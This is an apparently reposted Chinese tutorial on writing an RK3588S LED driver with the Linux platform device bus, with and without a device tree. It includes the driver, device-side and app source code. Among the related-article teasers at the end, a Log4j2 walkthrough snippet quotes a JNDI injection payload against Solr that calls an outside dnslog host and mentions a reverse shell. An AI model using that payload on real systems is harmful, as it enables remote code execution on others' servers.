驱动(RK3588S)第八课时:平台设备总线

news2024/11/15 7:16:44

目录

  • 目标
  • 一、平台设备总线的概念
    • 1、什么是平台设备总线
    • 2、平台设备总线 platform 的匹配
    • 3、设备树和平台设备总线的关系,以及匹配
  • 二、平台设备总线的函数接口
    • 1、注册设备端的资源信息
    • 2、设备端提供的资源的信息
    • 3、注销申请的设备端的资源
    • 4、驱动端的函数(全)
    • 5、从设备端获取资源
    • 6、设备树和驱动端匹配的时候需要用到的结构体
    • 7、设备树和驱动端设备树使用的节点信息
  • 三、代码与现象
    • 一、只用平台设备总线
      • 1、代码:
      • 2、现象
    • 二、平台设备总线与设备树
      • 1、代码:
      • 2、现象

目标

1.利用平台设备总线编写LED灯驱动代码
2.利用驱动端+设备树编写LED灯驱动代码

一、平台设备总线的概念

1、什么是平台设备总线

I2c spi 等他们是真实存在的总线,他不像今天讲的 platform(平台) 总线他是内核虚拟出来的一条总线,这个总线的作用就是为了匹配设备端和驱动端,在咱们没有讲设备树之前,编写的驱动代码都是采取平台设备总线的形式去编写的,就是老内核他们是怎么去编写设备驱动的,他们都是采取平台设备总线的形式,因为设备的资源比较多,要管理的内容也比较多,就会造成内核比较凌乱。此时他把一个驱动的代码给分为了两个端,一个是设备端,一个是驱动端,这个两个端他们分别负责不同的功能,设备端主要就是负责提供设备的信息,就和硬件相关的,只提供信息资源,不做任何设备的驱动,这个一般是咱们自己写的,比如前面说的的设备树就是设备端,而驱动端他统一交给了内核去管理,他主要负责驱动设备,他要从设备端先去获取设备的资源信息。对于一些大的设备来说,一般驱动端内核里都会自带,比如 LCD 屏,内核已经自动写入了一部分驱动端代码。
在后期驱动开发一般是有两种方法
1.平台设备总线
2.使用设备树+杂项/linux2.6
3.你也可以使用设备树+平台设备总线(驱动端)
驱动端:负责字符设备的框架使用 Linux2.6/杂项
设备端:只负责提供你驱动端所需要的所有的设备信息资源。

2、平台设备总线 platform 的匹配

因为的驱动代码已经分为了两端,一个是驱动端,一个设备端。驱动端和
设备端,怎么找到对方,这里有一个比较重要的信息,就是你要相互找到对
方,只有设备端和驱动端匹配成功了,那么你的驱动端,才可以去驱动对应的硬件,这里驱动端和设备端匹配的方法也是比较多的,目前最长用的就是通过名字找对方。这里你编译出来会有两个.ko ,他们加载的顺序是没有关系的,没有先后的顺序,不管你先加载谁他们都可以通过名字找对方。设备端和驱动端都有一个属于自己的核心结构体在他们各自的核心结构体里都有一个成员变量Name,你在编码的时候需要保证这个来个结构体里的名字必须是一样的,否则他们两个是无非进行匹配的。
以下是驱动和设备端编译出来的文件。
在这里插入图片描述

3、设备树和平台设备总线的关系,以及匹配

平台设备总线他是分为了两个端设备端和驱动端,其实这里的设备端被咱们设备树给取代了。设备端的作用就只有一个,那就是提供设备的信息,而咱们的设备恰好是描述设备硬件信息,所以设备树就可以代替设备端,同样你也可以使用平台设备总线的驱动断和设备树做匹配,既然设备树替代了设备端,那么资源驱动端也可以从设备树里去获取资源,其实这里就通过设备树里的 Compatible属性来获取信息的。这样我们就可以少些一部分设备层的代码。
在这里插入图片描述

二、平台设备总线的函数接口

1、注册设备端的资源信息

函数功能:注册设备端的资源信息
函数原型:int platform_device_register(struct platform_device *pdev)
函数头文件:#include<linux/platform_device.h>
函数参数:pdev:设备端的核心结构体
设备端的核心结构体
struct platform_device {
const char *name;//他就是和驱动端进行匹配的名字
int id;// 写 -1
struct device dev;//关于设备的信息的结构体
这里有一个函数需要咱们填写,这个函数里什么都不用
写,函数必须要有。void (*release)(struct device *dev);
u32 num_resources;//设备端提供资源的数量
ARRAY_SIZE() — 他来计算你提供了多少资源
struct resource *resource;//你提供的具体的资源信息
}

2、设备端提供的资源的信息

设备端提供的资源的信息
struct resource {resource_size_t start;resource_size_t end;const char *name;unsigned long flags;};
start:设备资源的起始资源
end:设备资源的结束资源
name:没有什么太大的意义一般是表示 给那个设备提供资源 取一个名

flags:你提供资源的类型
在这里插入图片描述
资源的类型内核已经帮你写好了固定的宏
在这里插入图片描述
#define IORESOURCE_IO 0x00000100//IO 空间,一般在 x86 框
架中存 在,ARM 一般没有
#define IORESOURCE_MEM 0x00000200//内存资源,大部分资源
都是这个

#define IORESOURCE_IRQ 0x00000400//中断资源 实际上就是
中断号
#define IORESOURCE_DMA 0x00000800//DMA

3、注销申请的设备端的资源

函数返回值:成功返回 0 失败负数
函数功能:注销申请的设备端的资源
函数原型:void platform_device_unregister( struct platform_device *pdev)
函数头文件:#include<linux/platform_device.h>
函数参数:pdev:定义的核心结构体
函数返回值:无

4、驱动端的函数(全)

函数功能:注册驱动端的资源
函数原型:int platform_driver_register( struct platform_driver *drv)
函数头文件:#include<linux/platform_device.h>
函数参数:drv
函数返回值:成功返回 0 失败负数
在这里插入图片描述
struct platform_driver {
int (*probe)(struct platform_device *);
int (*remove)(struct platform_device *);
struct device_driver driver;
};
probe:探测函数。一但驱动端和设备端匹配成功就会自动的去调用此函数,此函数里一般做字符设备的注册使用杂项/Linux2.6 以及设备资源获取。
remove:移除函数。 一但驱动端或者是设备端有一个卸载了,那么 此函数就会自动的调用,次函数里主要就是注销你在探测函数里申请的资源。
driver:你需要填写里边的名字 。注意这里的 name 要和设备端里的 name保持一致
函数功能:注销驱动端申请的资源
函数原型:void platform_driver_unregister(struct platform_driver *dev);
函数头文件:#include<linux/platform_device.h>
函数参数:dev:定义的核心结构体
函数返回值:无

5、从设备端获取资源

函数功能:从设备端获取资源
函数原型:struct resource *platform_get_resource(
struct platform_device *dev,
unsigned int type,
unsigned int num)
函数头文件:#include<linux/platform_device.h>
函数参数:dev:设备端的核心结构体
type:获取资源类型
num:你要获取资源的编号 — 第几个资源
函数返回值:成功返回指向 struct resource 指针 失败返回 NULL

6、设备树和驱动端匹配的时候需要用到的结构体

struct device_driver driver;
struct device dev{
struct device_driver *driver;
{
const struct of_device_id *of_match_table;
struct of_device_id {
charcompatible[128]; — 你这里的名字要和设备树里的
compatible
保持一致,否则无法从设备树里获取设备节点
};
}
在这里插入图片描述

7、设备树和驱动端设备树使用的节点信息

struct platform_device
{
struct device dev
{
struct device_node of_node; / 设备树使用的节点信息 */
}
}
这个成员是给设备树和驱动端匹配成功之后获取 gpio 口资源函数第一个参数
使用的。
在这里插入图片描述

三、代码与现象

一、只用平台设备总线

1、代码:

应用层函数 app.c

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
	int fd = 0;
	while(1)
		{
			fd = open("/dev/myqxjled",O_RDWR); // --- 底层的open函数
			sleep(3);
			close(fd);//底层的close
			sleep(3);
		}
	return 0;
}

驱动层:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/of.h>
#include <linux/of_gpio.h>
#include <linux/cdev.h>
#include <linux/gpio.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/platform_device.h>
struct resource *led[2];
int i;
int all;
dev_t dev;
struct cdev mydev;
struct class *myclass=NULL;

int myled_open (struct inode *inode, struct file *fp)
{
	gpio_set_value(led[0]->start,led[1]->end);
	gpio_set_value(led[0]->end,led[1]->end);
	printk("两个灯打开\n");
	printk("myled open 正确打开\n");
	return 0;
}

int myled_close (struct inode *inode, struct file *fp)
{
	gpio_set_value(led[0]->start,led[1]->start);
	gpio_set_value(led[0]->end,led[1]->start);
	printk("两个灯关闭\n");
	printk("myled close 关闭正确\n");
	return 0;
}
struct file_operations myfops={
	.open = myled_open,
	.release = myled_close,

};


int myled_probe(struct platform_device *pdev)
{
	printk("探测函数:设备端和驱动端匹配成功\n");
	for(i=0;i<=1;i++)
	{
		led[i]=platform_get_resource(pdev,IORESOURCE_MEM,i);
 	}
 	gpio_request(led[0]->start, "led1 pc5");
	gpio_request(led[0]->end, "led2 pc6");
	gpio_direction_output(led[0]->start, led[1]->start);
	gpio_direction_output(led[0]->end, led[1]->start);	
	all=alloc_chrdev_region(&dev,0, 1,"led");
	if(all<0)
	{
		printk("alloc_chrdev_region error\n");
		printk("动态创建失败\n");
		return -1;
	}
	printk("主设备号:%d\n",MAJOR(dev));
	printk("次设备号:%d\n",MINOR(dev));
	cdev_init(&mydev,&myfops);
	cdev_add(&mydev,dev,1);
	myclass=class_create(THIS_MODULE,"class_led");//创建类
	if(myclass == NULL)
	{
		printk("class_create error\n");
		printk("class_create 类创建失败\n");
		return -1;
	}
	device_create(myclass,NULL,dev,NULL,"myqxjled");
 	return 0;
}

int myled_remove (struct platform_device *pdev)
{
	printk("移除函数成功\n");
	device_destroy(myclass,dev);
	class_destroy(myclass);
	cdev_del(&mydev);
	unregister_chrdev_region(dev,1);
	gpio_free(led[0]->start);
	gpio_free(led[0]->end);
	return 0;
}

struct platform_driver drv={
	.probe = myled_probe,
	.remove = myled_remove,
	.driver = {
		.name = "myxyd_leds",//与设备端必须保持一致
	},
};
static int __init myled_init(void)
{	
	platform_driver_register(&drv);
	return 0;
}
static void __exit myled_exit(void)
{
	platform_driver_unregister(&drv);
}
module_init(myled_init);
module_exit(myled_exit);
MODULE_LICENSE("GPL");

设备层:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/of.h>
#include <linux/of_gpio.h>
#include <linux/cdev.h>
#include <linux/gpio.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/platform_device.h>
struct resource led_resou[2]={
	[0]={
		.start=21,
		.end=22,
		.name="xydleds",
		.flags=IORESOURCE_MEM,
	},
	
	[1]={
		.start=0,
		.end=1,
		.name="xydled", 
		.flags=IORESOURCE_MEM,
	},
};
void xyd_release(struct device *dev)
{

}
struct platform_device pdev={
	.name="myxyd_leds",
	.id=-1,
	.dev={
		.release=xyd_release,
	},
	.num_resources=ARRAY_SIZE(led_resou),
	.resource=led_resou,
};

static int __init myled_init(void)
{	int plat = 0;
	plat = platform_device_register(&pdev);
	if(plat < 0)
	{
		printk("platform_device_register error\n");
		printk("注册设备端的资源信息失败\n");
		return -1;
	}
	printk("注册设备端的资源信息成功\n");
	return 0;
}
static void __exit myled_exit(void)
{
	platform_device_unregister(&pdev);//注销设备资源
}
module_init(myled_init);
module_exit(myled_exit);
MODULE_LICENSE("GPL");

2、现象

在这里插入图片描述
在这里插入图片描述
代码运行现象:
在这里插入图片描述
灯现象:
在这里插入图片描述
在这里插入图片描述

二、平台设备总线与设备树

1、代码:

应用层:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
	int fd = 0;
	while(1)
		{
			fd = open("/dev/myqxjled",O_RDWR); // --- 底层的open函数
			sleep(1);
			close(fd);//底层的close
			sleep(1);
		}
	return 0;
}

驱动层:用的设备树

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/of.h>
#include <linux/of_gpio.h>
#include <linux/cdev.h>
#include <linux/gpio.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/platform_device.h>
int led[2]={0};
int i;
int all;
dev_t dev;
struct cdev mydev;
struct class *myclass=NULL;

int myled_open (struct inode *inode, struct file *fp)
{
	gpio_set_value(led[0],1);
	gpio_set_value(led[1],1);
	printk("两个灯打开\n");
	printk("myled open 正确打开\n");
	return 0;
}

int myled_close (struct inode *inode, struct file *fp)
{
	gpio_set_value(led[0],0);
	gpio_set_value(led[1],0);
	printk("两个灯关闭\n");
	printk("myled close 关闭正确\n");
	return 0;
}
struct file_operations myfops={
	.open = myled_open,
	.release = myled_close,

};

int myled_probe(struct platform_device *pdev)
{
	printk("探测函数:设备端和驱动端匹配成功\n");
	//led[0] led[1]返回的是gpio编口号
	led[0]=of_get_named_gpio(pdev->dev.of_node,"led-gpios",0);
 	led[1]=of_get_named_gpio(pdev->dev.of_node,"led-gpios",1);
 	gpio_request(led[0], "led1 pc5");//21
	gpio_request(led[1], "led2 pc6");//22
	gpio_direction_output(led[0],0);
	gpio_direction_output(led[1],0);	
	all=alloc_chrdev_region(&dev,0, 1,"led");
	if(all<0)
	{
		printk("alloc_chrdev_region error\n");
		printk("动态创建失败\n");
		return -1;
	}
	printk("主设备号:%d\n",MAJOR(dev));
	printk("次设备号:%d\n",MINOR(dev));
	cdev_init(&mydev,&myfops);
	cdev_add(&mydev,dev,1);
	myclass=class_create(THIS_MODULE,"class_led");//创建类
	if(myclass == NULL)
	{
		printk("class_create error\n");
		printk("class_create 类创建失败\n");
		return -1;
	}
	device_create(myclass,NULL,dev,NULL,"myqxjled");
 	return 0;
}

int myled_remove (struct platform_device *pdev)
{
	printk("移除函数成功\n");
	device_destroy(myclass,dev);
	class_destroy(myclass);
	cdev_del(&mydev);
	unregister_chrdev_region(dev,1);
	gpio_free(led[0]);
	gpio_free(led[1]);
	return 0;
}
struct of_device_id	mydev_node={
	.compatible="myqxj_led",
};

struct platform_driver drv={
	.probe = myled_probe,
	.remove = myled_remove,
	.driver = {
		.name = "myxyd_leds",//与设备端必须保持一致
		.of_match_table = &mydev_node,
	},
};
static int __init myled_init(void)
{	
	platform_driver_register(&drv);
	return 0;
}
static void __exit myled_exit(void)
{
	platform_driver_unregister(&drv);
}
module_init(myled_init);
module_exit(myled_exit);
MODULE_LICENSE("GPL");

不需要再写一个设备端了,而是由设备树上获取相应资源。

2、现象

在这里插入图片描述
代码运行状态:
在这里插入图片描述
灯现象:灯亮灭交替闪烁。
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115600.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何做好网络安全

随着互联网技术的飞速发展&#xff0c;网站已成为企业对外展示、交流和服务的重要窗口。然而&#xff0c;随之而来的网站安全问题也日益凸显&#xff0c;给企业的业务发展和用户数据安全带来了巨大威胁。因此&#xff0c;高度重视网站安全已成为网络安全的首要任务。今天我们就…

【Effective Java】多构造器参数使用构建器 (快速上手)

Java系列文章目录 补充内容 Windows通过SSH连接Linux 第一章 Linux基本命令的学习与Linux历史 文章目录 Java系列文章目录一、前言二、学习内容&#xff1a;2.1 为什么引入构建器2.2 建造者模式2.2.1书中的例子2.2.2 例子加上有效性检查 三、问题描述四、解决方案&#xff1a;…

如何对列表、字符串进行分组

如何对列表、字符串进行分组 1、效果 2、代码 使用python自带库collections中的Counter函数即可实现 代码如下: # -*- coding: utf-8 -*-""" @contact: @file: test.py @time: 2024/9/8 11:18 @author: LDC """ from collections import Co…

Vivado时序报告之Report pulse width详解

目录 一、前言 二、Report pulse width 2.1 Report pulse width 2.2 配置界面 2.3 分析结果 一、前言 在进行时序分析时&#xff0c;除了slack的分析&#xff0c;还存在pulse width的检查&#xff0c;下面将对pulse width检查进行详细说明。在report timing summary报告中…

《粮食科技与经济》是什么级别的期刊?是正规期刊吗?能评职称吗?

​问题解答 问&#xff1a;《粮食科技与经济》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知网收录的第一批认定学术期刊。 问&#xff1a;《粮食科技与经济》级别&#xff1f; 答&#xff1a;省级。主管单位&#xff1a; 湖南省粮食和物资储备局 …

C#发送正文带图片带附件的邮件

1&#xff0c;开启服务&#xff0c;获取授权码。以QQ邮箱为例&#xff1a; 点击管理服务&#xff0c;进入账号与安全页面 2&#xff0c;相关设置参数&#xff0c;以QQ邮箱为例&#xff1a; 登录时&#xff0c;请在第三方客户端的密码输入框里面填入授权码进行验证。&#xff0…

日语输入法平假名和片假名切换

在学日语输入法的时候&#xff0c;我们在使用罗马音输入的时候&#xff0c;在进行平假名和片假名切换&#xff1a; 1、使用电脑在打字&#xff0c;日语输入法切换的时候使用 Shift Alt 如果日语输入法显示为 A 需要切换为 あ的话可以按Caps Lock键 。&#xff08;相当于中文…

【LeetCode】 Z 字形变换

1. 题目 2. 分析 充分地思考问题&#xff0c;然后得出抽象解&#xff0c;最后再写代码。 本题初看是有点儿麻烦的&#xff0c;因为有个N型的变换&#xff0c;但是如果把这个N型压缩一下&#xff0c;其实就是考虑每行放什么值的问题。那么问题就简化成当前的字符串的字符需要放…

C++中的一个标准输出流——cout

目录 开头1.什么是cout?2.C中的一个标准输出流——cout的实际应用打印“Hello, world!”打印大方块打印一个变量 下一篇博客要说的东西 开头 大家好&#xff0c;我叫这是我58。今天&#xff0c;我们要学一下关于C中的一个标准输出流——cout的一些知识。 1.什么是cout? cou…

react js 笔记 3

起因&#xff0c; 目的: 专注。 学习 react js 的时候&#xff0c; 就专注这一方面 &#xff0c;其他都不要碰。 比如&#xff0c; python, C语言&#xff0c; R, 都不看。 只看 js.专注&#xff0c;减少来回切换。 重复。 自己写的笔记&#xff0c;需要反复多看几遍&#xff…

如何使用正则表达式替换字符串中的特定位置数字

如何使用正则表达式替换字符串中的特定位置数字 1、效果 把字符串中的第一个123替换掉: 2、代码 使用正则中的sub函数: re.sub(pattern,repl,string,count=0,flags=0) pattern:表示需要匹配的模式,即需要被替换的字符或字符串。 repl:表示替换后的字符串或函数,用于…

远程代码执行-Log4j2漏洞

1.在vulhub中打开环境 进入环境所在的文件 打开环境 docker-compose up -d 2.浏览器访问打开环境 3.使用dnslog查看是否存在漏洞 solr/admin/cores?action${jndi:ldap://${sys:java.version}.9dbu98.dnslog.cn 发现可以返回java版本 说明存在漏洞 4.开始反弹shell 下载jd…

本地零阶提示优化

本文探讨了如何优化大型语言模型&#xff08;LLM&#xff09;中的提示&#xff08;prompt&#xff09;&#xff0c;以更有效地利用这些黑盒模型的能力。传统的优化方法倾向于寻找全局最优解&#xff0c;但在某些情况下这种做法可能表现不佳。通过对提示优化进行深入的研究&…

Qt/C++编写的Onvif调试助手调试神器工具/支持云台控制/预置位设置等/有手机版本

一、功能特点 广播搜索设备&#xff0c;支持IPC和NVR&#xff0c;依次返回。可选择不同的网卡IP进行对应网段设备的搜索。依次获取Onvif地址、Media地址、Profile文件、Rtsp地址。可对指定的Profile获取视频流Rtsp地址&#xff0c;比如主码流地址、子码流地址。可对每个设备设…

Linux下的PWM驱动

PWM PWM简介⭕ **PWM&#xff08;Pulse Width Modulation&#xff0c;脉冲宽度调制&#xff09;**是一种利用微处理器的数字输出对模拟电路进行控制的技术。通过改变脉冲的占空比&#xff0c;可以控制模拟电路的输出电压或电流。PWM技术广泛应用于电机控制、灯光调节、音频信号…

一份热乎的数据分析(数仓)面试题 | 每天一点点,收获不止一点

目录 1. 已有ods层⽤⼾表为ods_online.user_info&#xff0c;有两个字段userid和age&#xff0c;现设计数仓⽤⼾表结构如 下&#xff1a; 2. 设计数据仓库的保单表&#xff08;⾃⾏命名&#xff09; 3. 根据上述两表&#xff0c;查询2024年8⽉份&#xff0c;每⽇&#xff0c…

【反射知识点详解】

Java中的反射&#xff08;Reflection&#xff09;是一个非常强大的机制&#xff0c;它允许程序在运行时检查或修改类的行为。这种能力主要通过java.lang.reflect包中的类和接口来实现。 通过反射&#xff0c;Java程序可以动态地创建对象、调用方法、访问字段&#xff0c;以及获…

JS_分支结构

if结构 这里的if结构几乎和JAVA中的一样,需要注意的是 if()中的非空字符串会被认为是trueif()中的非零数字会被认为是trueif()中的非空对象会被认为是true <script> if(false){// 非空字符串 if判断为true console.log(true) }else{ console.log(false) } if(){// 长度…

统计进程的CPU和内存占用(最大,均值,90分位)

本文先通过top采集所有进程的CPU和内存情况并保存到文件&#xff0c;然后提取指定进程的数据&#xff0c;最后通过 python 对采集的数据进行可视化。 一、使用脚本采集top数据 1. 单次top输出如下 2. 编写脚本每隔1秒采集一次top数据保存到文件 #!/bin/bash# 按照年月日十分…

非线性建模问题的线性化思考

很长时间没有提笔写博&#xff0c;近两年来一直从事规划领域方面的研究&#xff0c;在熟悉业务的同时&#xff0c;对规划算法也有了新的看法。相比智能算法的概率性&#xff0c;规划算法对求解的精确性要求更高。 本篇博客将围绕非线性问题如何线性化典型问题&#xff0c;分类归…